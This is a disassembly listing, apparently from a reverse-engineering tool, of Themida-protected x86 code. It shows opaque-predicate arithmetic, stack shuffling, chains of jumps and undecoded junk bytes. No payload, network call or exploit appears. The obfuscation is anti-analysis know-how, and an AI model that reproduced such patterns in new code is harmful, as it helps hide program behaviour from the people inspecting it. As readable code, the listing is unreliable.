		jmp	loc_5575D6
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFE6E2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558ED5:				; CODE XREF: Themida_:0056002Bj
		mov	esi, [esp]
		add	esp, 4
		add	esi, 63610382h
		push	eax
		jmp	loc_564A01
; ---------------------------------------------------------------------------
		dw 0C680h
		dd 0FFC60066h, 83582434h, 0D6F604C4h, 0E680D6F6h, 80D6F617h
		dd 0B75301EEh, 5BFE28A2h, 0E95AF528h, 0FFFFAD61h, 0E1C1D9F7h
		dd 30F18106h, 1063C4Eh,	240C8BC8h, 4C481h, 8B500000h, 0E956241Ch
		dd 0FFFFD128h, 1A92E953h, 0FA090000h, 81243C8Bh, 4C4h
		dd 0A0BD5500h, 0C176BC37h, 0CD8107E5h, 21CC0D9Ah, 0E905E5C1h
		dd 283Eh, 24048B66h, 0E3895356h, 4C381h, 0EB810000h, 4
		dd 5C241C87h, 24048F54h, 46851h, 81590000h, 4D042444h
		dd 815B633Eh, 0D8042444h, 148553Ah, 8104244Ch, 0D804246Ch
		dd 8148553Ah, 4ECh, 242C8900h, 0A4DDE9h, 5EFC100h, 3DF3F781h
		dd 0FD891A54h, 0FFEE015Fh, 835D2434h, 2C8B04C4h, 4C48324h
		dd 0E040E9h, 48B5300h, 3D30E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558FCE:				; CODE XREF: Themida_:0055D0CDj
		sub	ecx, 0FFFFFFFFh
		dec	ecx
		sub	ecx, 1B7E62A1h
		jmp	loc_553CA7
; ---------------------------------------------------------------------------


loc_558FE0:				; CODE XREF: Themida_:005675ABj
		sub	edx, 7DDF1D4Bh
		jmp	loc_562A35
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 8759CB01h, 525C241Ch, 4BAh, 5AD60100h, 31243433h
		dd 34332434h, 24248B24h, 8F68F1F7h, 89000072h, 9C502414h
		dd 0FF9C1BE9h, 50D701FFh, 0F5311AB8h, 4BC78105h, 293B082Eh
		dd 4BEF81C7h, 8B3B082Eh, 0C4832404h, 3C335A04h,	243C3124h
		dd 8B243C33h, 8B662424h, 5456240Ch, 0FFA0A8E9h,	4C481FFh
		dd 68000000h, 2AF7h, 0BD242C89h, 6A20065Ah, 3089C581h
		dd 0E5C13251h, 0B7D6E907h, 0C4810000h, 4, 3FBBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55907D:				; CODE XREF: Themida_:00553017j
		mov	edx, 20h
		sub	edx, 5F674B66h
		add	edx, edi
		add	edx, 5F674B66h
		push	ecx
		jmp	loc_5602A3
; ---------------------------------------------------------------------------
		dw 605h
aSC		db ':Ì]éÑc',0
		align 10h
		dd 0E92434FFh, 0FFFF9E53h
; ---------------------------------------------------------------------------


loc_5590A8:				; CODE XREF: Themida_:00553561j
		add	esp, 4
		jmp	loc_555C17
; ---------------------------------------------------------------------------


loc_5590B3:				; CODE XREF: Themida_:00562E3Dj
		shl	ebp, 7
		jmp	loc_5621A3
; ---------------------------------------------------------------------------


loc_5590BB:				; CODE XREF: Themida_:0055EEDCj
		not	ecx
		push	edi
		mov	edi, 4F434FE5h
		dec	edi
		not	edi
		or	edi, 6F5D5A0Ah
		not	edi
		push	edi
		jmp	loc_555EC8
; ---------------------------------------------------------------------------
		dd 0BB53DEF7h, 2F817070h, 0D3F7DBF7h, 0E3C1D3F7h, 81DBF707h
		dd 5F714CF3h, 6EBC1CDh,	6167EB81h, 0C381414Fh, 9CB92E38h
		dd 1C8BDE01h, 4C48124h,	81000000h, 0E03426F6h, 0A1B1E943h
		dd 88590000h, 24148BF1h, 320E9h, 241C8900h, 0C381E389h
		dd 4, 2245B951h, 54553059h, 4C5815Dh, 81000000h, 4EDh
		dd 0B38AE900h, 0C05AFFFFh, 0E95008E1h, 0A282h, 1C8BD829h
		dd 4C48324h, 2E8C148h, 0DA05D0F7h, 2D08B865h, 0A7A217A3h
		dd 3E4BE9h, 0C0B60F00h,	24148B66h, 4EC81h, 0C890000h, 4EC8124h
		dd 89000000h, 0DCE92424h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559187:				; CODE XREF: Themida_:0055510Dj
		xor	[esp], ebp
		jmp	loc_562011
; ---------------------------------------------------------------------------


loc_55918F:				; CODE XREF: Themida_:0055DA85j
		add	ebx, eax
		sub	ebx, 38571E04h
		push	eax
		mov	eax, 4C1B6A7Dh
		sub	eax, 57DA6F62h
		or	eax, 79906497h
		jmp	loc_559891
; ---------------------------------------------------------------------------


loc_5591AC:				; CODE XREF: Themida_:005646C3j
		add	esi, edx
		jmp	loc_55F73E
; ---------------------------------------------------------------------------


loc_5591B3:				; CODE XREF: Themida_:00554D68j
		sub	dword ptr [esp], 7BB2321Dh
		pop	ecx
		add	ecx, 7BB2321Dh
		jmp	loc_557358
; ---------------------------------------------------------------------------
		dw 5104h
		dd 512CE800h, 5AE95359h, 56FFFFBEh, 5E2414F7h, 0BF57D6F7h
		dd 209A0BA2h, 0C15FFE01h, 0BD5508E6h, 3A9644FEh, 92BCD81h
		dd 0ED81158Dh, 0DA615603h, 15DEE29h, 0EF815EF7h, 4, 0E8BE9h
		dd 62E95400h, 5800007Ah, 307B850h, 0E9553862h, 0FFFFAA46h
		dd 3AC6BA52h, 0D3314E7Dh, 1CF7535Ah, 0B48AE924h, 0C531FFFFh
		dd 0F1F58158h, 0E918BD46h, 0E7A3h, 0E82899B5h, 81240C8Bh
		dd 4C4h, 0E9A30400h, 691Bh, 1DBBB850h, 44E9594Eh, 2D0000CDh
		dd 663E286h, 31E9C189h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559267:				; CODE XREF: Themida_:005613D1j
		add	bl, 56h
		sub	bl, ah
		jmp	loc_562DE1
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0C5815D54h, 4, 5BEEE9h
		db 0
; ---------------------------------------------------------------------------


loc_559281:				; CODE XREF: Themida_:0055C8F6j
		add	ecx, 0FDBFFF81h
		add	eax, ecx
		pop	ecx
		push	ebx
		mov	ebx, 4
		jmp	loc_564499
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4BF57h, 0FE010000h, 0CB67E9h
		db 0
; ---------------------------------------------------------------------------


loc_5592A5:				; CODE XREF: Themida_:0055697Ej
		push	13964023h
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 35386DFBh
		jmp	loc_556A87
; ---------------------------------------------------------------------------


loc_5592BE:				; CODE XREF: Themida_:0055EBFDj
		add	ebx, 0FFFFFFFFh
		sub	ebx, 54893C44h
		jmp	loc_55B9A8
; ---------------------------------------------------------------------------
		db 89h
		dd 0DABD242Ch, 0F760F876h, 25C581DDh, 4D656232h, 6564ED81h
		dd 0B6E976FCh, 0C100001Ch, 3D2D02E8h, 487C984Bh, 7DBA5253h
		dd 0E94D4172h, 7A4h, 2EC2815Dh,	810FBB71h, 9D28FDEAh, 25C2816Dh
		dd 0E96B7529h, 0DD38h, 5C243C33h, 0FF9917E9h, 8BD189FFh
		dd 0C4832414h, 2B32E904h, 0C6810000h, 502BD6A7h, 0F5E9F129h
		dd 8900006Ch, 0E9555EF7h, 0FFFFE798h, 8B24048Fh, 8B662424h
		dd 0E9562404h, 6B98h, 8904EC83h, 0BB53240Ch, 5A5315F6h
		dd 82E9D989h, 5A00005Fh, 0C7FEEFD0h, 0E90DEF80h, 9EC0h
; ---------------------------------------------------------------------------


loc_559374:				; CODE XREF: Themida_:00564678j
		pop	ebx
		jmp	loc_558EC4
; ---------------------------------------------------------------------------
		dw 3433h
		dd 0F2EBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559382:				; CODE XREF: Themida_:00556A1Cj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_565952
; ---------------------------------------------------------------------------
		dd 0ACE9D5F7h, 89000085h, 17E9241Ch, 89000090h,	4B9240Ch
		dd 1000000h, 240C8BCDh,	8104C483h, 4C5h, 4EC8100h, 89000000h
		dd 0AAE9242Ch, 81000002h, 4ECh,	24048900h, 42474FFh, 24048F58h
		dd 2434895Ch, 29B76851h, 0C1597D15h, 6805E1h, 81000000h
		dd 53C52404h, 0EFE94B07h, 66FFFFC4h, 6824048Bh,	717Ch
		dd 54241489h, 4EC835Ah,	5A4AE9h, 14895C00h, 87E95124h
		dd 810000A8h, 0F43A87E9h, 4EC813Eh, 0E9000000h,	23E9h
; ---------------------------------------------------------------------------


loc_559424:				; CODE XREF: Themida_:0055C2B2j
		pop	eax
		push	esi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_556FD2
; ---------------------------------------------------------------------------
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_553EB9
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 0FBE90000h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55944B:				; CODE XREF: Themida_:005612FBj
		mov	eax, 24h
		add	eax, edi
		push	edi
		jmp	loc_55CC5F
; ---------------------------------------------------------------------------
		dd 4244481h, 3F822D2Dh,	5524048Bh, 2E4EE9h, 54530500h
		dd 52536D55h, 604A18BAh, 5AD38913h, 0FF9E72E9h,	0E9C589FFh
		dd 315Bh
; ---------------------------------------------------------------------------


loc_559484:				; CODE XREF: Themida_:00561B65j
		sub	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55B2C6
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4D363ECDh, 3527CD81h, 0EDD151E8h, 16CFF581h,	0EB8957F3h
		dd 0FFA95AE9h, 0E9535EFFh, 3481h, 1086C281h, 0FA010546h
		dd 0D583E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5594CA:				; CODE XREF: Themida_:00562B40j
		mov	ebx, 4A7B7273h
		mov	eax, 1E2697A4h
		add	eax, ebx
		jmp	loc_556E51
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8B24048Fh, 0D8E92424h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5594E7:				; CODE XREF: Themida_:0055B965j
		mov	dx, [esp]
		add	esp, 2
		sub	bl, 0F6h
		sub	bl, 60h
		add	bl, al
		push	cx
		push	dx
		mov	dl, 60h
		jmp	loc_566B36
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 68000000h, 5205h, 0E9241C89h, 688Eh,	0C381D3F7h, 15E767C5h
		dd 0C291EB81h, 0DA8903CAh, 0EC81525Bh, 4, 68243489h, 246557A3h
		dd 0FFB2A4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559539:				; CODE XREF: Themida_:005611DBj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_568194
; ---------------------------------------------------------------------------
aQhJ		db 'Qh¿J',0
		align 4
		dd 68242489h, 39FDh, 0E9242C89h, 1EB2h
; ---------------------------------------------------------------------------


loc_559558:				; CODE XREF: Themida_:0055EB7Cj
		mov	edx, 3AA75AB1h
		not	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_563EB0
; ---------------------------------------------------------------------------
		dd 0C8BCF29h, 553FE924h, 0C2830000h, 24143304h,	33241431h
		dd 0D35C2414h, 0A9E92424h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55958F:				; CODE XREF: Themida_:0055FF6Bj
		add	dword ptr [esp], 4
		pop	ebx
		push	esi
		mov	esi, 714350C0h
		jmp	loc_55F6DD
; ---------------------------------------------------------------------------
aSvso		db 'SVé®',1Bh,0
		align 2
aSp		db '\é¯Ð',0
		align 4
		dd 5C243487h, 8B24048Fh, 0C8852424h, 967AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5595BE:				; CODE XREF: Themida_:005532D5j
		add	edi, 292F3F83h
		neg	edi
		sub	edi, 0B1295082h
		add	ebx, 63BC5193h
		jmp	loc_55F882
; ---------------------------------------------------------------------------


loc_5595D7:				; CODE XREF: Themida_:00561576j
		pop	ecx
		push	eax
		jmp	loc_5599F3
; ---------------------------------------------------------------------------
		dw 0F000h
		dd 272C7D2Ch, 0A8E9B704h, 29FFFFB3h, 0B9E981F9h, 8B2C6139h
		dd 0C481243Ch, 4, 0F181D9F7h, 56925324h, 6BA7E9h, 0E930FF00h
		dd 0FFFF9628h, 585ACB81h, 36E9058Eh
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55961B:				; CODE XREF: Themida_:00564B6Dj
		dec	edi
		jmp	loc_55D420
; ---------------------------------------------------------------------------


loc_559621:				; CODE XREF: Themida_:00567189j
		sub	[edi+24h], ecx
		push	dword ptr [esp]
		jmp	loc_564A0E
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 348704C4h, 0BB535C24h, 4,	0FFCB79E9h, 0E9E789FFh
		dd 0CC51h, 62C6BA52h, 5EE966FDh, 5C0000C8h, 0E9240489h
		dd 6626h, 582434FFh, 4C481h, 50660000h,	0FFDD45E9h, 2474FFFFh
		dd 242C8B04h, 4C481h, 48F0000h,	0E9535C24h, 81B6h
; ---------------------------------------------------------------------------


loc_559684:				; CODE XREF: Themida_:0056451Bj
		push	edx
		push	ebp
		mov	ebp, 59297F0Ah
		sub	ebp, 0CC828BBh
		sub	ebp, 4C61564Bh
		push	ebp
		jmp	loc_55B357
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 0BFh
		dd 89FFFFE1h, 0DBAE9E7h, 0F7810000h, 60366EBFh,	39E9F901h
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5596B7:				; CODE XREF: Themida_:00561B06j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_561A74
; ---------------------------------------------------------------------------
		dd 4BDh, 5DE92900h, 31240C33h, 0C33240Ch, 0D1FE924h, 0C310000h
		dd 240C3324h, 5024248Bh, 42474FFh, 5826E958h, 348B0000h
		dd 4C48124h, 0E9000000h, 88A4h,	78116857h, 0C15F406Ch
		dd 4CE906E7h, 5100001Ah, 0D1CBE9h, 4C78100h, 50000000h
		dd 4B8h, 5FEF8100h, 8145E75Fh, 0DA22C4EFh, 0F580E908h
		dd 1C33FFFFh, 3567E924h, 0F2810000h, 29BD180Eh,	3F02F281h
		dd 4A4A7F59h, 0C313C281h, 0D6018B6Dh, 0A755E9h,	40478F00h
		dd 0FF94DBE9h, 93ED81FFh, 813CED13h, 903FD5C5h,	4BE95A72h
		dd 890000B3h, 0EC81241Ch, 4, 81242489h,	42404h,	1C8B0000h
		dd 0D21CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55978A:				; CODE XREF: Themida_:005621AAj
		mov	esi, 0C077F777h
		jmp	loc_5537AB
; ---------------------------------------------------------------------------
		dd 5C241487h, 4C681h, 89E90000h, 890000CEh, 8BE95DEFh
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5597AB:				; CODE XREF: Themida_:0055C6BCj
		xor	ecx, 0FEFADBF5h
		add	eax, ecx
		jmp	loc_563CCE
; ---------------------------------------------------------------------------
		dd 55BDE89h, 244906F9h,	7C183D2Dh, 0E9F02932h, 5A92h, 288CC380h
		dd 8CEB80CBh, 9CC3E9h, 472C6800h, 14890000h, 5A1DBA24h
		dd 0EA8126ECh, 15D84309h, 7FD0BD55h, 0EA092AD2h, 13AFE95Dh
		dd 680000h, 0FF000000h,	34FF2434h, 0A6E95B24h, 290000BAh
		dd 0FA015AD7h, 79EAE9h,	24148900h, 994DE9h, 0C875D00h
		dd 96CEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559826:				; CODE XREF: Themida_:00566DBAj
		mov	esi, 3F0A7FAAh
		inc	esi
		or	esi, 15C04F98h
		sub	esp, 4
		jmp	loc_5624A6
; ---------------------------------------------------------------------------


loc_55983A:				; CODE XREF: Themida_:00560215j
		mov	esp, [esp]
		push	56Bh
		mov	[esp], eax
		push	esp
		jmp	loc_563A55
; ---------------------------------------------------------------------------
aCiSw		db '°—ˆÆéW$',0
		align 4
		dd 33241431h, 0E95C2414h, 0FFFF9BC7h, 7213DE35h, 0F1152D2Fh
		dd 0E91F60h, 29000000h,	8FE958C6h, 5F000034h, 565AD509h
		dd 9B3AE9h
		db 0
; ---------------------------------------------------------------------------


loc_559881:				; CODE XREF: Themida_:00558E9Ej
		mov	ecx, 38653162h
		shr	ecx, 1
		push	ecx
		not	dword ptr [esp]
		jmp	loc_561561
; ---------------------------------------------------------------------------


loc_559891:				; CODE XREF: Themida_:005591A7j
		push	eax
		not	dword ptr [esp]
		pop	eax
		or	eax, 5F951918h
		jmp	loc_565C90
; ---------------------------------------------------------------------------
		dd 0AC2D7CB9h, 244C3144h, 815D5904h, 0AC2D7CF5h, 0E9295E44h
		dd 240C875Dh, 8924248Bh, 0BE56243Ch, 74461981h,	0F75EF789h
		dd 3E7C1DFh, 0EC668h, 242C8900h, 9A60AABDh, 68D5F74Fh
		dd 53C0h, 0E9240489h, 5B3Dh
; ---------------------------------------------------------------------------


loc_5598E8:				; CODE XREF: Themida_:0055503Bj
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_552F11
; ---------------------------------------------------------------------------


loc_5598F4:				; CODE XREF: Themida_:00554338j
		mov	ebx, 56F15E4h
		jmp	loc_55812F
; ---------------------------------------------------------------------------
		dw 5158h
		dd 0A724DEB9h, 59C8311Bh, 8124148Bh, 4C4h, 0D5ABE900h
		dd 0EF01FFFFh, 243C875Dh, 24048F5Ch, 0E924248Bh, 92C5h
		dd 0E0C1405Fh, 7B190508h, 0EA81AFE4h, 6B334B58h, 0C281C229h
		dd 6B334B58h, 8EE95058h
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559947:				; CODE XREF: Themida_:00553F73j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55D635
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0FFFFAEFCh
; ---------------------------------------------------------------------------


loc_559958:				; CODE XREF: Themida_:00568184j
		push	ecx
		jmp	loc_55CF15
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 4C48358h,	0E904C483h, 0FFFFF0E0h,	0FF3C77FFh
		dd 0ABE92434h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55997B:				; CODE XREF: Themida_:00567BB7j
		mov	ebx, [esp]
		push	ebx
		jmp	loc_557648
; ---------------------------------------------------------------------------
aSSni		db 'S³^éN›',0
		align 4
		dd 8324048Bh, 2CE904C4h, 0FF000021h, 2FE92434h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55999F:				; CODE XREF: Themida_:0055B35Ej
		pop	edx
		sub	edx, 579511BBh
		pop	ebp
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		jmp	loc_55BB83
; ---------------------------------------------------------------------------
		dw 48Fh
aHA		db '$\hÎa',0
		dw 0E900h
		dd 8CA2h, 6624248Bh, 6824048Bh,	69A5h, 0E9240489h, 0B0Ch
		dd 0D5C3E95Eh, 0E956FFFFh, 631Ah, 0F1B68h, 243C8900h, 0B738E9h
		dd 2E95400h
		db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5599F3:				; CODE XREF: Themida_:005595D9j
		mov	eax, 5B832367h
		jmp	loc_5567A9
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0C104C483h, 0E98107E9h, 0D81020h, 38FCBF57h,	0EE811620h
		dd 0FFD2F3Fh, 0C681FE01h, 0FFD2F3Fh, 2AC6815Fh,	11C1E00h
		dd 2AEE81CEh, 811C1E00h, 2038FCEEh, 0BF575916h,	4, 565FFE01h
		dd 42474FFh, 8324348Bh,	48F04C4h, 24248B24h, 81C8BE0Fh
		dd 4ECh, 241C8900h, 0C381E389h,	4, 0D191E9h, 81C30100h
		dd 774129C3h, 8AE95844h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559A77:				; CODE XREF: Themida_:005648A8j
		add	ecx, edx
		pop	edx
		add	ebx, ecx
		pop	ecx
		push	537Ch
		mov	[esp], ebp
		mov	ebp, 38571E04h
		add	ebx, 22BD61A3h
		jmp	loc_561639
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E9512404h, 70F3h, 95AD389h, 3434E9D8h, 89530000h
		dd 4C381E3h, 0E9000000h, 9D6Dh,	1F5D6856h, 815E7D1Bh, 675C2DE6h
		dd 5D36684Ch, 0C890000h, 0FFFFB924h, 0CE01FFFFh, 0CCE8159h
		dd 81525628h, 797D2DF6h, 3910E97Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559AEA:				; CODE XREF: Themida_:00563082j
		mov	[esp], eax
		mov	eax, 4
		sub	edx, eax
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	28F745FBh
		jmp	loc_55B36B
; ---------------------------------------------------------------------------
aBAASng		db 'Ç|a',27h,'éN£',0
		dw 0F700h
		dd 0E5BD55DFh, 8147106Dh, 603B92CDh, 1C58110h, 10891ADh
		dd 0EF815DEFh, 54E752FCh, 11CD6852h, 0E95A1A85h, 0FFFFBF02h
		dd 648D685Ch, 34890000h, 5CBB5324h, 8119F63Dh, 55802F3h
		dd 0BE9533Dh
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_559B57:				; CODE XREF: Themida_:00563439j
		sub	dl, ah
		pop	eax
		sub	dl, 0FFh
		xor	dl, 0ABh
		jmp	loc_5573BB
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 0FBh
		dd 89FFFFE1h, 0C3815AD1h, 6F890C92h, 2E9CB01h, 8FFFFFDBh
		dd 248B2404h, 4896624h,	14F76624h, 48B6624h, 25E95224h
		dd 0FF0000D3h, 34FF2434h, 81535824h, 4ECh, 24248900h, 4240483h
		dd 6B83E95Bh, 0C3810000h, 4, 0E904EB83h, 86DCh,	41B951ADh
		dd 557C3971h, 8C1149BDh, 781D0562h, 0BEE95B55h,	8100009Ah
		dd 0C7D1D1C1h, 0FFC181C0h, 56FFFFFFh, 783A6CBEh, 90C18129h
		dd 29160950h, 90E981F1h, 8B160950h, 0C4832434h,	27FA2D04h
		dd 632D01B2h, 13BA675h,	63BA52C8h, 13BA675h, 0EC835AD0h
		dd 24348904h, 79FE9h, 4C48100h,	1000000h, 7FC781EFh, 8B5A7111h
		dd 2FE9242Ch, 8B0000BDh, 5450242Ch, 40558h, 4050000h, 87000000h
		dd 0E95C2404h, 0FFFFF8B9h, 0E9240C8Bh, 555h
; ---------------------------------------------------------------------------


loc_559C50:				; CODE XREF: Themida_:0055AE87j
		pop	edx
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, ebp
		jmp	loc_563FCD
; ---------------------------------------------------------------------------


loc_559C60:				; CODE XREF: Themida_:00561CD8j
		push	7878h
		mov	[esp], edx
		mov	edx, 662144BFh
		add	edx, 64F2668Ch
		shr	edx, 8
		sub	edx, 6FB514FCh
		sub	edx, 9CACA1ABh
		jmp	loc_5660D0
; ---------------------------------------------------------------------------


loc_559C87:				; CODE XREF: Themida_:0055693Bj
		shr	edx, 1
		jmp	loc_55DE85
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 2434FF24h, 81685559h, 0E9000062h, 8549h
; ---------------------------------------------------------------------------


loc_559CA0:				; CODE XREF: Themida_:005675E5j
		sub	ebp, 44D54BD1h
		sub	ebp, ebx
		add	ebp, 44D54BD1h
		pop	ebx
		jmp	loc_5613B3
; ---------------------------------------------------------------------------
		dd 348BF789h, 0BD55E924h, 0C481FFFFh, 4, 0ED81DDF7h, 3000914h
		dd 3F3CE9h, 58545000h, 405h, 4E88300h, 0FFCE84E9h, 240C89FFh
		dd 78E95052h, 66000037h, 56240C89h, 0BA525E54h,	6036395h
		dd 436FE9h, 0BFED8100h,	5A348819h, 5C242C87h, 31243433h
		dd 34332434h, 24248B24h, 0E9240489h, 0FFFF8F1Ch
; ---------------------------------------------------------------------------


loc_559D1C:				; CODE XREF: Themida_:005533E0j
		xchg	eax, ebp
		push	edi
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		push	eax
		mov	eax, 6A8A16F1h
		add	eax, 7E6109A1h
		shr	eax, 1
		push	ebx
		mov	ebx, 4285721Bh
		jmp	loc_55321B
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Fh, 0FFF9CCE9h, 0E6E780FFh, 515ACF80h,	0C5804CB5h
		dd 0CEF80ACh, 0C780EF00h, 0FD30590Ch, 0E9E8305Bh, 0FFFFFEE0h
		dd 0B8240489h, 68261217h, 0E958C789h, 2DD9h, 2474FF52h
		dd 48F5A04h, 0D091E924h, 1C87FFFFh, 0C895C24h, 52D1B924h
		dd 0E1C10B47h, 28C66805h, 13E90000h, 5E000043h,	34FFDE31h
		dd 0C4815B24h, 4, 685EF101h, 6A7Dh, 0B8240489h,	2, 48BC101h
		dd 4C48324h, 0FFE6B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559DC9:				; CODE XREF: Themida_:005545B4j
		push	ebp
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	esi
		push	ebp
		pop	esi
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_55A9EA
; ---------------------------------------------------------------------------
		dd 45C3815Bh, 8135702Eh, 327953E3h, 0DACB8146h,	4B127C51h
		dd 4242BE56h, 0EB819F2Bh, 5ED23154h, 533AE9h, 0D8C28100h
		dd 8111A927h, 196E16F2h, 0FFD521C9h, 565A2434h,	692BE9h
		db 0
; ---------------------------------------------------------------------------


loc_559E29:				; CODE XREF: Themida_:0055C6CEj
		push	18A06DEh
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 6903B82h
		xor	edx, edi
		pop	edi
		sub	edx, 71A3D5Bh
		jmp	loc_55D537
; ---------------------------------------------------------------------------
		db 1
		dd 0C1815BD9h, 3EF43A87h, 5FEBC181h, 1EE94122h,	5000003Fh
		dd 383126B8h, 0F3F1E911h, 405FFFFh, 2D000000h, 4, 5C240487h
		dd 81243489h, 4ECh, 9C5AE900h, 34310000h, 24343324h, 6624248Bh
		dd 0E9241489h, 0B4E4h, 8124048Bh, 4C4h,	81974000h, 0F37CB9F7h
		dd 29F7817Ch, 19DE3EEh,	0BD555FFAh, 2, 72C4C281h, 0C2810731h
		dd 289C11F0h, 0FFD011E9h, 24048BFFh, 504C483h, 3F3215Bh
		dd 0D4E9C289h, 0F70000C0h, 81D6F7D6h, 0BB47C3EEh, 0BB53551Ah
		dd 65791C69h, 5263F4BDh, 5BDD2982h, 5BB9E94Dh, 0C890000h
		dd 869DE924h, 0DF890000h, 77C7815Bh, 816C1F35h,	0C13DDEF7h
		dd 98F7815Dh, 0E9371A5Fh, 866Ch, 4907C2BAh, 5AD60977h
		dd 0CE81DEF7h, 9A06472h, 89C2BF57h, 0FE31C89Ah,	0F401E95Fh
		dd 74FFFFFFh, 8F5E0424h, 0F4E92404h, 8B0000C3h,	97E92404h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559F4F:				; CODE XREF: Themida_:00553511j
		pop	edi
		pop	ebp
		and	eax, esi
		jmp	loc_562F89
; ---------------------------------------------------------------------------
		dd 0E92C77FFh, 0FFFF8CD8h
; ---------------------------------------------------------------------------


loc_559F60:				; CODE XREF: Themida_:0055B04Fj
		mov	ecx, edi
		pop	edi
		shl	ecx, 2
		jmp	loc_556BD0
; ---------------------------------------------------------------------------
		db 28h
		dd 24148BD3h, 0FF9438E9h, 240431FFh, 31240433h,	0E9502404h
		dd 0FFFFC166h
; ---------------------------------------------------------------------------


loc_559F84:				; CODE XREF: Themida_:0055730Bj
		mov	esp, [esp]
		jmp	loc_552DFA
; ---------------------------------------------------------------------------
		dd 8704EF83h, 0D2E9243Ch
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559F97:				; CODE XREF: Themida_:00565F23j
		shr	edx, 7
		push	ebx
		mov	ebx, 2B6B60A1h
		jmp	loc_55F709
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 20h
		dd 557BA151h, 0FFC45BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559FB1:				; CODE XREF: Themida_:00566EFEj
		push	edx
		jmp	loc_560D8B
; ---------------------------------------------------------------------------


loc_559FB7:				; CODE XREF: Themida_:00562B09j
		push	esi
		mov	esi, 4
		jmp	loc_558298
; ---------------------------------------------------------------------------
aAUfy		db 'µ (îfY',0
aPEaLsiy	db 'ÆP´e€Ä«é¨y',0
		dd 48B6600h, 0A09FE924h, 48F0000h, 1C895C24h, 21EE6824h
		dd 0FE90000h, 10000B6h,	1C8758C3h, 4FF5C24h, 39E99C24h
		dd 8BFFFF8Ch, 0C4832434h, 72BA5204h, 81303E3Ch,	0F0DBA7EAh
		dd 0F6CA812Fh, 811DC043h, 46415DE2h, 94EA8128h,	29BAB3FBh
		dd 0CF015AD7h, 45C9C781h, 96684D90h, 89000057h,	1AE9241Ch
		dd 8100005Fh, 0EE69A6EEh, 0EE814E5Dh, 8A679EA1h, 555EF389h
		dd 0FFFFFFBDh, 5DEB01FFh, 3D8E9h, 81EB8100h, 5F1E5414h
		dd 1D7A612Dh, 30990564h, 90E94DE7h, 8B0000DFh, 0C4812404h
		dd 4, 0E9240C33h, 0BFDDh, 98BCE95Ch, 0D6010000h, 4EE835Ah
		dd 0E9243487h, 0A041h, 41D768h,	243C8900h, 0AF51E9h
		db 0
